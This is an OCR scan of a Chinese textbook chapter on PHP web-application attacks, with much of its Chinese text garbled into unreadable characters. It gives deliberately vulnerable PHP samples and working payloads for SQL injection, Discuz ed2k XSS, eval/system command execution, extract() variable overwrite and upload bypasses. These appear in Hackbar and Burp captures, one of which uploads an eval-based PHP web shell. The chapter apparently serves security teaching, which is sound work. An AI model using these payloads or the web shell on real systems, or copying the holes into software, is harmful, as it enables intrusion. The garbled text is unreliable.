Headers | Genera’lﬂll Config | Ab"‘“"tl

HTTP Headers
http:/fechy firefoxchina cnfcclviv2/patterns json [a]

GET Jeehu/u2 Jpatterns jeon HTTE/1.1

Host: cclv.firefoxchina.cn

User-Agent: Mezilla/5.0 (Windows NT 6.3; WOWE4; r:38.0) Gecka/20100101 Firefor/38.0

Accept: text/html application/xhtml+xml application/xml;g=0.9 */*;:q=08

Accept-Language: zh-ENzhiq=08,en-US:q=0.5,en,q=0.3

Accept-Encoding: gzip, deflate

Cookie: Hm_lvt dd4738b5fb302cb062:119107d{5d2e4=1436185500,1437071513,1437071550,1437581122

Connection: keep-alive

HTTP/1.1 200 OK
Expires: Wed, 22 Jul 2015 16:12:45 GMT
Date:Wed, 22 Jul 2015 15:42:45 GNT

Sener noiny

< >

Save All. | Replay.. Capture Clear Close

E4-7 Live HTTP headers
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(3) Hackbar., Hackbarfd & T —2% FHI T H, WSQL. XSS, POSTiER. %
%, WE4-8FTR.

(- A https://www.baidu.com PaEvc

INT v| = & SQL- XS5- Encryption- Encoding- Other-
@ Load URL
3 split URL
')  Execute
[] Enable Post data [] Enable Referrer

[El4-8 Hackbar
A XM, TTRARHER SR, RITFAE R, A0 nT LL 2 e — Lot [E) ok
AREAN], B3, BIIANRRYE L,

4.2 SQLiEA

WA, BEEPHPH: ) ZAEFH, PHP) %4 o] UK B v . T 58 L 1 48 B 5t 12
PHP+MySQL, # FREA 1T — FPHPH i -HMySQLFEA 124 .

421 FEANRFEIE

i B X, SQLE NG 2 E L HSQL Ay 44 A\ B WebZR 24T . Hy A\ ek 42 B 0 11 i 5K
HIEEHD T, e ZeIA BRI AR 45 28 AT M R SQLAT 2 1 H 1. SQLIEAJE 24 M4 L
$5 i 1) — PR LT k.

N T SEUFHL T LR, R R — B AR

<?php

include ('config.php') ;

if ($ GET['id']) |
$id=$ GET['id']; //GETHR
$sql="select * from test user where id=$id"; // BHEIEA)
Sresult=mysql query($sql); /I RRAEIE
echo mysgl error();

}

2>

MR Al LLE R, S SHdREDGET REBRLEZEId, R HEKRTEIAR
AN TSQLIBR)HHTEW. 4IRS SIXFERRE IR 7R, o HIEEE R, WM
FEAE R .



lé\\\\\\\\\ % mmszentins )

select * from test user where id=$id—select * from test user where id='
B, — AN B M A ISQLYE AR T o $R5 M5 8 1 Lt P49 5.
jhﬂp:{flnmih.‘.t.php?id=1%27 x\-'l- @h

(' @ localhast/test.php?id=1" UE~c| Q Google <Ctd+K: * B » | =

INT | = @ SQL- XSS- Encryption- Encoding- Other-
& Load URL
% split URL

*)  Execute

[C] Enable Post data  [C] Enable Referrer

You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near " at line 1

E4-9 RZH5|S
422 BERREN

T, BEHIKEANERGETHA . POSTHE AfCookiel A . MPOSTIEA
WERE WA, ANRENMEENSERS, 5 ZRENSENILE, N
S TEN ERBEFRT, FEFHIFRARMH TREQUESTES, HHXMGETH#AT I
g, AT L — Oy AR BTN (ER SR ENSE) o FsRE MBS

.
Global .php:
<?php
foreach ($ GET as $get key=>$get var) { / /BB GETIH KA E

if (is numeric(sget var)) {

$get[5trtolower($get_key)]=get_int($get_var);//ﬁﬂiﬁ%@iget_int

} else {

die("error") ;

}
function get int ($number) {

return intval ($number) ; / /SR FIEER

2

<?php
include ('config.php') ;
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include ('global.php') ; / /DS R S
$id:$_REQUEST [*id'];

$sgl="select * from test user where id=$id"; //#HHEIEA)
$result=mysql query($sql); /I RAEH
echo mysqgl error();

>

P HREQUESTERIAI FA4 T $ GET, $ POSTHIS COOKIEI$4H, HARXIGET )
AT TiL3E, (B4R LA POSTEK & Cookiel) /7 ok Hidh, Mmngeid Tid sk N

5. POSTH#H 245 T4EL Py, F, EANEEERINOKROTH, X T
HAERA KRG E, e B4-1007 T,

] http://localhost/test.php x\+’ I:'-@
&€& | @ localhost/test.php U v | Q Google<cri+k:| T3 (B » | =
INT | = @ SQL- XSS5- Encryption- Encoding- Other-

@ Load URL  httpy/flocalhostftestphp .
% split URL +

| L) Execute |

Ensble Post data ] Enable Referrer
Post data id=l'|

You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near ™ atline 1

El4-10 POSTiEA
RETFRN RAETF AR P AR IEAT™, B ZRLJE T value, 112 Tkey, T
T RFE — B .
<?php
include ('config.php') ;
$id=$ GET['id'];
if(is array($id)){
foreach ($id as S$key=>$value) { //BA
$value=intval ($value) ; / / XvalueitiTod i EE
$sql="select * from test user where id=$key and username=

Svalue";

$result=mysgl query($sql);

echo mysql error();

>



lé\\\\\\\\\ % mmszenins )

LG 2 ER A X id i valueBEAT 18, 2B 7 X keyliduE, 3 H¥keyfAAN T
A, PR DA keyBEATIEAN, WIE4-11 7R .

"/ tpuflocalh. hetidiiwaT=1 % | [B=8 [B=E ==
€ | @ localhostybakphp?id[171=1 G| Qooogeccoiens | B % # & ~ B~ @ » | =
INT T = @ SQL- XS5+ Encryption Encodinge Other-
== Load URL
4 splitURL "

v) Exccute
[] Enable Post dsts [ Enable Referrer

You have an error in your SQL syntax: check the manual that corresponds to your MySQL server version for the
right syntax 1o use near " and username=1" at line 1

E4-11  #BkeyBEN
FEE: X B8 EAM X A xx test. phpid[EATE4) |1,

423 httpkiFEAN

fa] Ayhttp3k ? httpZ% 7 F217 [n) ik 5545 R IE1E K I B e 2048 B SR 2R 8, M= 4= T
hitpsk. # WL ihepk i FATIR.
> Host: #4URLY &) £ Ak o,
» Referer: #.4-—ANURL, A P MIZURLA K 6 R @ B &35 9] % a7 K 60 R @
> User-Agent: #| 7 % £%,
» Accept: # %W %5 THMAMIMER A,
» Accept-Language: )% 25 i & 2 6945 5 Fh %
> Connection: & 7% &% EH A &4,
> Content-Length: & &Kl & EXH KT,
» Cookie: iXZ R ¥ &5 L KFHZ—,
MAEE T, T http Sk 7T RERR S RIS 5n T .
» User-agent, #WHEEA () .
» Referer, kiR () .
» X-Forwarded-For, #IP (%) .
» client ip, 3RIIP (%) .
X B 45 i — Bt X-Forwarded-ForiF A ) [a] R G
Get.php:
<?php
$info ip=$ SERVER['HTTP X FORWARDED FOR']; //3kBIX FORWARDED FOR
$infofreferer = $ SERVER['HTTP REFERER'];
$info user agent= $ SERVER['HTTP USER AGENT'];

25>



Test.php:

<?php
include ('config.php') ;
include ('get.php');

F4E REBHET—HETRA

i

$sgl="INSERT INTO test info (ip) VALUES ($info ip) "; //HHEIEH

$result=mysql query($sql);
echo mysqgl error();

>

//RANEH

I F I X FORWARDED FORZH, MiAME|S, 45EWE4-12077R.

' burp suitz professional v1.407 - licensed to DrakanHaSh
burp intruder repeater window about

rtargel rpruxy i spider rscanne[ rimruder rrepeater rsequencer " decoder rmmparer rup{iuﬂs ralerts |

=0l

B

< > port ‘30 [] use 88L

request

raw headers hex

GET //test.php HTTP/1.1
Host: localhost

Accept-Language: zh-CH, zh;q=0.8,en-05;q=0.5,en;g=0.3
Accept-Encoding: gzip, detlate

X-Forwarded-For: '|

Connection: keep-—alive

User-Agent: Mozilla/5.0 (Vindows NT 6.1; rv:3B8.0) Gecko/10100101 Firefox/38.0
Accept: text/html,application/xhtmlixml, application/xml:q=0.9, */*;g-0.0

o] ] ] |

| 0 matches

response

raw | headers | hex

Connection: Keep-Alive
Content-Type: text/html

version for the right syntax to use near '')' at line 1

¥You have an error in your SQL syntax; check the manual that corresponds to your MySQL server

| ¥

A

Ledi=li=]

| 0 matches

adone

Iengtn: 379 (1,031 millis),

E4-12 httpLiEN

424 ZREFEN

B 224 In) B H B A, — L8] B 1 SQLIE ATE R BRIy Hh IR A4 75 [ 3
To T HILE Z RN ZKEN, AT EARRT S, = KE AR 5 DA

W, AR EHAR S — 0 AN BRI A R B8 0 .
T HRE T TR R 2 R G I L 4
<?php
if(isset($ SESSION['cart']['in'])) {

unset ($§ SESSION|['cart']):;

//EERTITE

g

W~
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cerror(_ ("submit order twice"));

}

$ SESSION['cart']l['in'l = true;

// EHFERFTITE

$tradeid = $time.mt rand(100,999);

$data = array(
"tradeid"
"uid"
"uname"
"addtime"
"status"
"totalfee"
"itemfea"
"postfee"
"man"
"coupon"
"expresswayid"
"posttype"
"receiver name"
"receiver province"
"receiver city"
"receiver district"
"receiver address™
"receiver zip"
"receiver link"
"memo"
"payment"
"istax"
"tax company"

2

N R I R R N N N N A R R N N N R A A A A 2

Stradeid,
Sthis->uid,

$ SESSION|['uname'],

Stime,

"WAIT PAY", //AXf
getPrice($totalfee,2, 'int'"),
getPrice($itemfee,2, 'int'),
getPrice ($postfee,2, 'int'),
Sman ? S$man['str'] : '',
Scoupon ? S$coupon['deno'] : O,
Swayid,

Sposttype,

Saddress|['receiver'],
$address|['province'],
Saddress|['city'l],
Saddress|['district'],
$address|['address'],
$address|['zipcode'],
$Saddress['link'],
$memo,

Spaymentcode,

$istax,

$tax company

DB: :getDB () ->insert ("trade", sdata) ; //insert, XBAE

Sadddata =

Spromodata = array():

56
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public function insert ($tableName, $data = array()) {

$sqgql = "INSERT INTO ".S$this->getTableName ($tableName) ;

$sgql .="(".implode(",",array map(array($this, "escapekey"),array
keys ($data))) .") wvalues(";

$sgl .= S$this->getlInsertval ($data);

$sgl = trim($sgl,",").™)";
$this->query($sql) ;
if ('$this->errno) {

return $this->lastid();
}

return false;

getlnsertVal PR E T )L EL, ARLHFBAMAT ALsE, Subamg. AT~
R PR R LT

if (Scount) {
$this->data["pagearr"] = getPageArr (Spage, $pagesize, $count, '', true) ;
$this->data['trades'] = DB::getDB()->select ("trade",
"tradeid, receiver name,totalfee,addtime,status,payment”, Swherestr,
"tradeid DESC",S$this->data['pagearr']['limit'],"tradeid");
/IR BHE, BFRET L RY, ELRRHTITRERE R
$tradeids = array keys(Sthis->data['trades']);
$orders = DB::getDB()->select ("order","itemid, itemimg, itemname,
tradeid, orderid"™, "tradeid in ".cimplode ($tradeids));
foreach ($orders as $order) {
$this->data['trades'] [Sorder|['tradeid']]['order'] [Sorder['orderid']]
= $order:;
}

}

Sthis->output ("gettrade") ;



O

S \\\\

U

BESREHARE

ANFE. HERBAHATIEIE, AT LA — UEA . B Blinsertek %, 7T L
EHHEMERUT .

INSERT INTO cart trade('tradeid', 'uid', "uname', 'addtime’, 'status’,
'totalfee', '"itemfee', 'postfee', 'man', "coupon', 'expresswayid', 'post
type', 'receiver name', 'receiver province', 'receiver city', 'receiver
district', 'receiver address', 'receiver zip', 'receiver link', 'memo', 'pay
ment','istax','tax_company')values('1418809144596',2,'test',1418809144,
'WAIT PAY',6300,5300,1000,'',0,2,1, 5EAiIBEG", '110000",'1", "', "1','1",'1",

",'CDd',O,")

] DL receiver=, 1, 1, 1, user(), 1, 1, 1, 1, 0, 2)#, #4553 M-S, FAATBREE
2 RIER), AR E4-137R.

BEsAER
@ '111user()1,11102)# AR E 111
© iEInATiEaL
MEAEE "y1,1,1,user(), 1, 1,1,
"B = v - kFEW v - FEE -
ettt - 111
BN 100010
BRI/ - 11111111111
TRTF IR AL

F4-13 R/ZIE

AR A E4-14 7R

| previous ‘l next || action ]

re quast I response

raw params headers hex

POST /index.php?model=buy&action=saveaddr HTTP/Ll.1

Host: skyofdll.hlk.delldns.com

User-Agent: Mozilla/5.0 (Windows NT €.1l; rv:38.0) Gecko/Z0100101 Firefox/38.0
Accept: */%

Accept-Language: zh-CN, zh;q=0.8,en-US;q=0.5,en;¢=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded:; charset=UTF-8
X-Requested-With: XMLHttpRequest

Referer: http://skyofdll.hlk.delldns.com/index.php?mode l=buy
Content-Length: 159

Cookie: cart_cart=item 47 _3;
cart_sess=40327641978Lf7064aa7f10a0aad4lE66L1200656553;
_D_SID=9ACC47AS4DCOD1I3BECESCEDBYSBLIFSAFS; cart_sendsms=1; cart_sendemail=1;
cart history=47

Connection: keep-alive

Pragma: no-cache

Cache-Control: no-cache

| »

receiver="%2C1%2C1%2C1%2Cuser () $2C1%2C1ls2C1%Z2C1l52C0%2C2)s23 &province=110000&city=1
10100&district=110101&address=111&link=11111111111&zipcode=100010&addressid=8

Ledl=dlz]]

-

| 0 matches

E4-14 REZIHIEES

J— 58 R



4T REE—BRTRR m%%%éﬁ

IR A, IR ANF L, REEFTH, WE4-15F7R, TUESIHERBL T
2 “HAE T AN T .

W=ER

g S: 1434373133743

g A EESRE: 1
W AL skyofdll@localhost
BRERTS 1

BE4-15 ALIhZIRIEN

425 HiIRRISEH

RS, FRNGERIMERLEANE GBI, T8 % KA 8 756 2 g
L B 8 R B4 Ay I A G B A B A 8, ARG S S Al B B, E U0 g A O =K
HEM. HRIFEA LN ZeWTTE, 0D AR gl B AR, TE gl
wr.

> KAFiRA.

> BmXeT.

> AL R A,

> AR R

> EMREE A

> AR RRATS .

» hupAdidadl.

S B

B R R R LA et 1A A T SE K 17 Bibypass  (48id) ik
1. WiEARR

preg match('/(and|or|union|where|limit)/I", $id)

et Ak XpkEiAland, or, union, where, LmitZHfT T it3E, MEAREIIF11]
(select user from users group by user id having user id=1 ) = 'admin' B AJ&¢id .

2. WiEAES

preg match ('/select|order|insert|update|eval|document |delete|injection]j

ection|link|[\" INSIN/\N*IN*INANN/INAN/IN, IN.|——]\"|and, $str)

S Uik POWINE EA KRR BT TidE, KIS,
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4.3 XSSHiil

XSSH i I L E AT I —Fh i 7 5, R B 3 1 Web T A % R htmIfY
i, ZHHPRZM I, A htm ST, AR B B 7 Rk
H . TTPHPH X XSS 8 v+ 32 B e ?

X R Discuzff] i 29w T, Discuz2f — N RZEX3 IRAR] — M T HEE TX—
T, A TR A Discuz X3 1IHRA (CHLSe4 K2 SERRTEM A HRA, BARNT
RATHIMEX3. 1L RAMRAT ) KLU FRAKMS R, EMRERKRE . Tk
FARL — TR LR

A X MR RS 7E \upload\source\function\ | [fJfunction_discuzcode phpH -

119 if($allowbbcode) {

120 if (strpos (Smsglower, 'ed2k://") != FALSE) ({

121 Smessage = preg replace("/ed2k:\/\/(.+2)\//e", "parseed2k('\\1")",
Smessage) ;

122}

123}

BB, XBACHH TN S S Hed2kh i FF 4 5 12147 % ed2kBEBEHEAT T AL FE,
h T AR T M B R X LEPHPARS, AR BRI AN PHPRE R T AR B, X
F ] — S AP —AMRT A 2. 12147 F Hpreg_ replace PAEUR B AN T .

mixed preg replace ( mixed $pattern , mixed S$replacement , mixed

$subject [, int $limit = -1 [, int &Scount ]] )
// preg replace WIT—PMENFREIPERFEZRR. BRsubjectPLEcpatternfI&hsT,
HAreplacement BT

PRI R AR o B 238 R0, ATRES B H OB EEREE AR, &K
#, BMESWET TN REEA TFMER U RE S N TH LR
vhE R, FUESE KFMEG P AR EENE s, mMAR ) midERERE
ARehE ISR m, AEETHEEARERL!

XA 208 FH parseed2k() G £ X $message AT IE MJALEE, T 1HI 3R BR W7 Ab 28 6k 44
parseed2k().

320 function parseed2k($url) ({

321 global $ G;

322 list(, $type, S$name, $size,) = explode('|"', $url);
// FBREBEE PR, BRRE RN

323 surl = 'ed2k://'.Surl.'/";
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324 Sname = addslashes (Sname) ;

325 if (stype == 'file") {

326 Sed2kid = 'edZk '.random(3) ;

327 return '<a 1id=""'.$ed2kid.'" href="'.Surl.'" target="_

blank">'.dhtmlspecialchars (urldecode ($Sname)) ."
('.sizecount ($size) .')</a><script language="javascript">
S(\''.$ed2kid.'\") .innerHTML=htmlspecialchars (unescape
(decodeURIComponent (\'"'.$name."'\")))+\" ('.sizecount

($size) .")\'";</script>"';

328 } else {

329 return '<a href="'.$url.'" target=" blank">'.Surl.'</a>"';
330 }

331 }

MIXBAAAE A LLE H, parseed2k()FF & A X S 4 Ssize T2, HBERAN
$sizeATR A Y CF BINAXZEFRMGHZ) , B E sizecount($size) F 45 A2
TR R $sizedL i

F— R idtsizecount() £, ‘B 7E[R H 3 T function core phpH':

1601 function sizecount (Ssize) {

1602 if($size >= 1073741824) {

1603 $size = round($size/1073741824 * 100) /100 . 'GB';
1604 } else if(S$size >= 1048576) |

1605 $size = round(S$size / 1048576 * 100) / 100 ." MB';
1606 } else if(S$size >= 1024) {

1607 $size = round($size / 1024 * 100) / 100 . 'KB':
1608 } else {

1609 $size = $size . 'Bytes';

1610 }

lell return $size;

1612 }

X BACRS F R ST RN AT R 43, A4 B R R $size B 7 5 NumberZE Y LA
B, g L H i Number 25 8 J5 F k4T LA . T SRAE N ) $size HE A B A B = #1558,
B4 $sizeI{H £ W fiNaN (Not a Number) , ALfillkai =/ Mfigh), HIEHE Aelseid
T, Tielsed I R AR X Ssize TR A ¥, HE L BytesH#HT TECX, EoX fE B
T B i 2R [F] 45 function discuzcode phpH 12147 ) $message, SR JEHEHTH -

16094 TARIEAE X 3. 14N T R e b -
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1609 $size = intval ($size) . ' Bytes';

intval PR EUK Ssize Fe i LAY, [K] B4 T X T $size XSS o
TR SERRIA—TF -
fEDiscuz X3.18% DL T WA (1)1 1z o & il B 4 N IR A — )«

ed2k://|file|xss|'+alert (123)+" |xss/

Bl 4-16F7 75 R TEAEUE B T IR B4 1E o

I http://bbs.x... % |

ios8. 30X XANFHER A ?
& 123

Cl&E=F3Fa »
Y ] | ]2 2300 ®

59 , 058. 30T AR = En =8k 2 ¢

lovely ("+alert(123)+' Bytes)

El4-16 XSSIHALE

JRAESE— T, EXANRAE A RBAECEFFI 5. AEKL, ZXEATL
Fdocument.write(String.fromCharCode(... ...)); H77 .5 Ahtml#r4E, W<script sre=...>
</script>, X B EVEsre MR E S5 BTN AMISSCfE, S A X AR .

L ] A AT LUK, FEFR O T RIAAS (ST 584 T Z Ja R i) ik
TR R Ssizedl i IR B A SRR VY, SRR K Ssize SRRICF RN BT
H7F 7 R HEATIERE, XMRR — MR SIE, 7E9 S ARSI R 36E % 1 F 53 ) SR B e
PR IWBAFRE AR, KRITEEERBEIEERH GREXE—F) .

4.4 BHBw

A EES? BAE T MPHPHE. PHPR — FRAMEMES, ERIETEH
16 A 3h A B H o IEMh R BT . AR B 2wl A2 g BT B AR MU i 4 Ho kg 52 1Y
H, HEGEANEEE, N5IK—SeerE. THAAERNZERE .

441 T=EWEWL

AR 878 o T 2 fEregister_global=onff A KA, THIKE “SaEOETF" M—
AN .

<?php
//ERBIEEREE. ...
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case 'list':

StotalNum = $mysgl->numTable ("member", S$where);

[/ BHETERNREG. ... ..

$members = $mysgl->select ("member","id,name, time,money,pro-
vience,city,picture", Swhere,array("id DESC"),array((Spage—
1) *$pageNum, $pageNum) ) ; www.2cto.com

require (INCLUDE PATH."page.class.php"):;

$pageClass = new page($page,$totalNum, SpageNum, WEB URL."member/
u.php?action=1ist", true):

SpageCode = S$pageClass->getCode();

$smarty->assign ("webTitle", "SRFIFER") ;

$Ssmarty->assign ("ulList", S$members) ;

Ssmarty->assign ("pageCode", SpageCode);

$smarty->display ("member/m u list.html");

function numTable ($table="'", Swheres=false)
{
$table = Sthis->dbPrefix.$table;
$sgl = "SELECT COUNT (*) AS num FROM "$table’™";
1f (Swheres)
{
$sgql .= " WHERE ";
if (is_array($wheres))
{
foreach ($wheres as $key => $val)

{
$whr[} = "‘$key‘:| " Syal."r;

$sql.= implode (" AND ", $whr);
}
else if(is string($wheres))

{
$sgl.= Swheres;

}
$result = $this->fetch ($this-—>query($sql));
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return S$result['num'];

2>

X B A Ewhere F WA ATV, T2 EBARANT EWER, NTSBLXEE T,
FEIXBESIR TIHEN, HEARRR A 2action=list&where=ji A &) .

442 RREHSIZNZEEES

extract() BB EHIEF 2 NEA PHEAE S AR W HNF S LY. BREPypeSHA
BRNE. RENZRRFALR, SBTES, Al kHAAZER R, FEREETERE
FAARHS .

case 'check info gold':

$json = new Services JSON;
extract ($§ REQUEST) ;
$m_gold = Sdb->getOne("select gold from {$table}member
where userid='s$ userid' ");
$data['kou'] = $CFG['info top gold'l * intval ($number);
$data['gold'] = $m gold - $data['kou'];
$data=$json->encode ($data) ;

echo $data;

F 41T Fextract($ REQUEST)mr & FE T A EE L, FIHIANIA] UL HE:H f2 5 Stable,
HeAhAiEA], TBEI TN

4.5 wEIAT
fir & BT REPHPeh 2 L0 —FHRA, AR SRk, PS5 58 %

4, fEPHPH, w4 #ATHEF K EEeval(). assert(). system(). exec(). shell exec().
passthru(). escapeshellemd()iX L4/ fE R E . BEATFRE R A, XERBFTHIATH @S



4B REBEF—BETRA A /////7‘////2,5

A HIUH P AT DL, TP B P s RAUE A 20 Ht H (. T R ik
T #T.

451 EROGSHITERE

1. eval()

R HORAC A BB AL I PHPARAS R AT . TEVEAS
eval(phpcode);

R B ARG .

<?php
Scom=$ GET['com'];
eval ($com) ;

2>

X —BURTE RN, TTUEIE TS HcomELHE 3 Ecom, RFHEE
H72 BEcomMH H/EPHPAAL K PAT, T RIWFEM=4E T . 322 EcomAphpinfo(); i,
SR E4-17F 7R .

¢'O localhast/test.php?com=phpinfo(); @ v¢ | { Q, Google <Ctnf+A’:| * ‘ B 3+ f& » ‘ =

[Nt +] = e sq- Xss- Encryption- Encoding Other-

htlp:f/localhostﬂesl.pl‘lp?oom:phpinfoﬁ{

[] Enable Post data [T Enable Referrer

E4-17 #iTphpinfofs <



D U

O BESRERARE

2. system()

ZRECELL CIES Msystem(O R, HRBITIRS, HEHER, EEgA:

system(string command, int [return var|);

T B A A A -

<?php
$com=$ GET['com'];
$result=system($com) ;
echo $result;

>

12 ¥ com Awhoamiftf, &5 ENE4-18F77~,

2124 com Hping baidu.comh, &R anE4-19F77~

7wm”lh._‘pk°m=mmi ”_

€ @ localhost/test.phplcom=whoami

= © SQL- XSS- Encryption- Encoding- Other-
@ Load URL
& splitURL
*)  Execute
[T Enable Post data  [T'] Enable Referrer
nt authority\system

El4-18 HFHfTWhoamifz %

3. array_map()

INT v| = & SQL- XSS- Encryptionr Encodingr Otherr

4z LoadURL  hitpy//localhost/test.php?com=ping baidu.com

§  splituRL +
Y Exeaste |

o

Y https//localh...q%20baidu.com x

€ ) @ localhost/test php?com=ping | W 38 + @ || Q Google <ctr=k:| Y2 |81 » | =
o

Enable Postdata [T Enable Referrer

1EZE Ping baidu.com [183.207.239.6] 575 32 =HA0#0E: 325 183.207.239.6
JIEE: =32 BdjE=7ms TTL=57 3 183.207.239.6 fUEIE. FH=328)
j@l=5ms TTL=57 32 183.207.239.6 [EIS: 57+5=32 Bdig=7ms TTL=57 k&
183.207.239.6 [M[EIS: 5735=32 AdjAl=6ms TTL=57 183.207.239.6 [ Ping &it
S5 #EE:- BA% =4, Bt =4, x5 - 0(0% £55) , EHRTEOMETET
EIAZT L) 858 = Sms , 8 = 7ms , Y = ems

E4-19 #HiTpingds &

ZERBORBIH 7 B e R EEHEREA . [BE R BN SEEEH N iZ MG TS
array_map() RO AEH —8, EEAA:

array map(function, arrayl, array2, array3...)

T B A A R -

<?php
$callback = $ GET[callback];
$arrayl = array(0, 1, 2, 3);
Sarray2 =

?>

array map ($callback, S$arrayl):;

4 R4S 2 Hcallback Ay phpinfo, 4551 El4-20 7 75 .

66 —



| t @ localhost/test.php?callback=phpinfc @ 82 v & l [ Q, Google «Ctrf+.'()| B ¥+ A& » ‘

[!EIIIIH-- SOls RS Frerynisons § Encoding® (Othess

HAE REET—BRTRA A 7

@ LoadURL  http://localhost/test.phpTcallback=phpinfo|

[T] Enable Post data  [| Enable Referrer

E4-20 #HifTphpinfods4

452 ENIEE

FESLPRTT R, AR RS AR R, A & B Eh &R B A .

R B iR ARG

<?php

function A ($data) {
echo "A:".S$data;

}

function B($data) {
echo "B:".$data;

}

if (isset ($ GET['test func'])){
Stest func = $ GET['test func'];
$com = $ GET['com'];
$test func($com); //E7SEH

2>



lé\\\\\\\\\ % mmszentinn )

£ LR, R EE 2SS HAREABERE, Fridtas ftest funclEN R
oz, FAME. EXEEERFATDPITEERE, LHES S est funcHsystem,
Z#com Aping baidu.comf}, ZERUE 4217w,

l/ http://localh...q%20baidu.com x\_ﬁ: i

INT w| = @ SQL- X§S- Encryption- Encoding~ Other-

@ LloadURL  httpy//flacalhest/test phpPtest_func=system&com=ping baidu.com i
% split URL +
¥} Execute |

& @ localhost/testphptest_func=systent @ B8 v @ || QL Z& <crrlek> a3+ A » | =

[[] Enable Post data [] Enable Referrer

IF4E Ping baidu.com [183.207.239.7] B4 32 =15HEIE: k8 183.207.239.7 NEE: =15=32 &
[Al=14ms TTL=58 FE 183.207.239.7 NES: F1H=32 AljE=14ms TTL=58 i&kE&End, =B
183.207.239.7 fI[O1E: =2 =32 AdiAl=13ms TTL="58 183.207.239.7 ] Ping 1 HEE: 28 BB
=4, Bl =3, Tk = 1(25% =), HRATENGHEECERD AR S8 = 13ms, 8K =
14ms , 9 = 13ms

El4-21 EHEHITPINgHS

4.6 gt

iy EARSR IR ? GRS E R B — R FITE S b R getshell ) EHik R —, £
PSRRI Web AR EEZRFA T X, WEEZWebBZEN &G —K, I REEZEE. M
T SRAMTH L SO A SRl IR -

46.1 JavaScript&eit

SeRE — BB

<?php

function uploadfile ()

{
SconfigUp=array () ;
SconfigUp['type"'l
SconfigUp[ 'img' ]
SconfigUp[ "flash']

SconfigUp [ "office']

array ("flash", "img") ; // Bt FtypelE
array ("jpg", "bmp", "gif", "png"); //imgRIFER
array ("flv", "swf"); / /flash R FEHR

array ("doc", "docx", "docm", "dotx", "dotm",

"X]_S LU , "XlSX“, llesm", "Xltm" , "Xle" , "Xlam" ’ "csv", llew" , ll'wk4 n ’ '"wk3 l'l"

'!'lwkl n , "wks LL , lldbf" , “pptll , '!'lpth" , llpptm" , llppsxﬂ , "pOtX" , "potmll , '"ppamll ) ;

$configUp [ "message' 1="_FL{ERTH"; // LERTIEERAELR, EAZNERER



22>
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S$configUp['name']l= mktime () ; // EERERN i 2N, X E PAUNIXEY 8]
glp

if(is uploaded file($ FILES['upload']['tmp name']))

/ /¥ W E AL RBIR BRI

$ﬁlearr=pathinfo($_FILES['upload']['name']);
S$filetype=Sfilearr["extension"];

if('in array ($filetype, SconfigUp['img']))
mkhtml ($fn, "", "SBIRAISTHER ") ;

/ /T AF R S ZARERT, 8 Bmkhtml e
if($ FILES['upload']['size'] > S$configUp["img size"]*1024)
mkhtml ($£n, "", " FERSCEARGERIT" . SconfigUp ["img _size"]."KB! ");
$file abso=$configUp["img dir"]."/".SconfigUp['name'].".".S$filetype;
$file host=$ SERVER['DOCUMENT ROOT'].$file abso;
if(moveiuploadediﬁle($7FILES['upload']['tmpiname'],$ﬁleihost))
{

mkhtml ($fn, $file abso, $configUp[ 'message’]);
lelse
{
mkhtml ($fn, """, "X EEEN, BEE LB FRREMBFKESIER") ;

TR A A mkhtml K £

function mkhtml ($fn, $fileurl, Smessage)

{

echo $str='<script type="text/javascript">window.parent.CKEDITOR.
tools.callFunction('.$fn."', \''.S$fileurl.'\', \''.Smessage.'\');
</script>';

exit (Sstr);
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22

A] LAFG Bmkhtmlif H ¥ & — Bt JavaScriptfCht, AT ] Buploadfilepfi F+ .

if ('in array(sfiletype, SconfigUp["img'])) {
$CODIlgUp[ 1 1mg' ] = array("jpg", "bmp", "gifll, "pngll) E

IX B AR ) W7 24 SO 2R RN & v i Fmkheml, (EESTAT R/ RK, #HES#ATE
ARG, BRIt R AR JavaScriptal fEANIE FAE SCTHFIERAZ T .

EHREEGEMRE (B hJavaScriptZ & P il AE S, RO BasdEiT 7TRED
tnE4-22 7~
o 0 B B s Ee— ] -

Request

Raw [ Params | Headers | Hex

Concent-Disposition: form-data; nams="usd nick"

777777 WzhKitFormBoundarymZ e AWEELHZE7ZB5w
Concent-Disposition: form-data; name="up}tlle"; filenane="gsoft.php"
Concent-Type: image/Jpeg

e
<?pop Beval(s_FOST['brute']);?»
777777 WzbKitFormBoundarymz 6 AWEELHIETZE5W

EJ l;J u EJ Type & search term 0 match
Response

Raw | Headers | Hex | HTML | Render

Pragma: no-caches

Vary: Accept-Encoding
Contcent-Length: 462
Concent-Type: text/html

<meca hotp-equiv="Content-Type” contenc="text/html; charser=urf—g«
<script language="javascript'">
parent.document. getElementById( 'usd image') .value-'/uploads/4/20141004/1412405028.php' ;

parent .document.getElementById|'lodingdiv') .style-displ S

parent .document.getElementEyId( ' lodingdiv') .imnerHTML — '<font
color=red>=0000</font>fuploads/41/20141004 /1412405028 . php<ing src="/uploads/sys/cancel.png' width="16"
onclick="hiddenLoding{]">";

0 I P P Y A 0 match

E4-22 BERE

462 XHLWIESE

[ AR T

<?php

if ($ FILES[userfile] [type] !'= "image/gif")
{

echo "XRE, AT EECTFERME 1"
exit;

}

$dir = PreviousFile/;



w/— o
4R REFH—DRTRA - -

$PreviousFile = $dir.basename ($ FILES[userfile] [name]);

if (move uploaded file ($ FILES[userfile] [tmp name], S$PreviousFile))
{

echo "XHRAXH, RThEfErr;

} else {

echo "XHLEMEHER! | | BEEHLEE LI
}

2>

AR ST AN HEAT T R, RV T image/gifiXFEAL . (HE AT ALY
1HEGIFSOAIX ) 3L 3H 4T b A% .

4.6.3 EiH(0):A

LA T .
<?php
/ 1 EHETA RS
if($split values[0] =— strtolower($split img[l]) && S$split
values[1l] == "allow")
{
$invalidimg = false;
$i = Sextcount + 1000;
} elseif($1 == $1 values && S$split values[0] !=

strtolower ($split img[1]))
{
// If the image was valid, we would have exited by now.

Serror occured = true;

}
/ 1 BT ARG

if (Suser dat['usedspace'] < $dirsize)

{
if(file exists($Suser dat['usrdir'] . "/" . §
FILES[Swhichfile] ["name']))

{
if ($ POST['overwrite file'] == true)

{
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unlink ($user dat['usrdir']."/".$ FILES
[$Swhichfile] ['name']) ;
} else {

$error_occured = true;

echo "B E FENXHEZGE<Dr HSIEERES
HBEXXHBEF L1E.<br /><br />";

¥
} else {
$error occured = true;
echo "BEZBANXTHAENBRZE.<br />";
}

} else |

$errorﬁoccured = true;

echo "HXAFE. BEHRAEER.<br />";

